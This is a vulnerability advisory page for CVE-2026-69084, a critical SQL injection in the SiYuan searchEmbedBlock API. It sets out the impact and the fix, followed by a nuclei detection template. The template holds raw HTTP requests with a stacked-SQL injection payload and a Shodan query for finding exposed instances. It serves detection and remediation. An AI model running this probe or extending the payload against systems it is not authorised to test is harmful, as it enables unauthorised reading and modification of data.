HexBrain

Browse / CVEs / CVE-2026-69084

CVE-2026-69084· CWE-89

SiYuan - SQL Execution

criticalseverity
10CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.

Impact

Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.

Fix

Update to version v3.7.3 or later.

How to confirm it

Send: POST /api/system/loginAuth ; POST /api/search/searchEmbedBlock
Positive when: contains "\"code\":0" AND not contains "SQL statement is not single" AND status 200

Run it with nuclei: nuclei -id CVE-2026-69084 -u <target>

The full check
id: CVE-2026-69084

info:
  name: SiYuan - SQL Execution
  author: Boreas37
  severity: critical
  description: |
    SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
  impact: |
    Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version v3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
    - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69084
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69084
    epss-score: 0.01573
    epss-percentile: 0.75626
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: 'title:"SiYuan"'
  tags: cve,cve2026,siyuan,sqli,authenticated

variables:
  auth_code: "{{password}}"

http:
  - raw:
      - |
        POST /api/system/loginAuth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"authCode":"{{auth_code}}"}

      - |
        POST /api/search/searchEmbedBlock HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'

      - type: word
        part: body
        words:
          - 'SQL statement is not single'
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from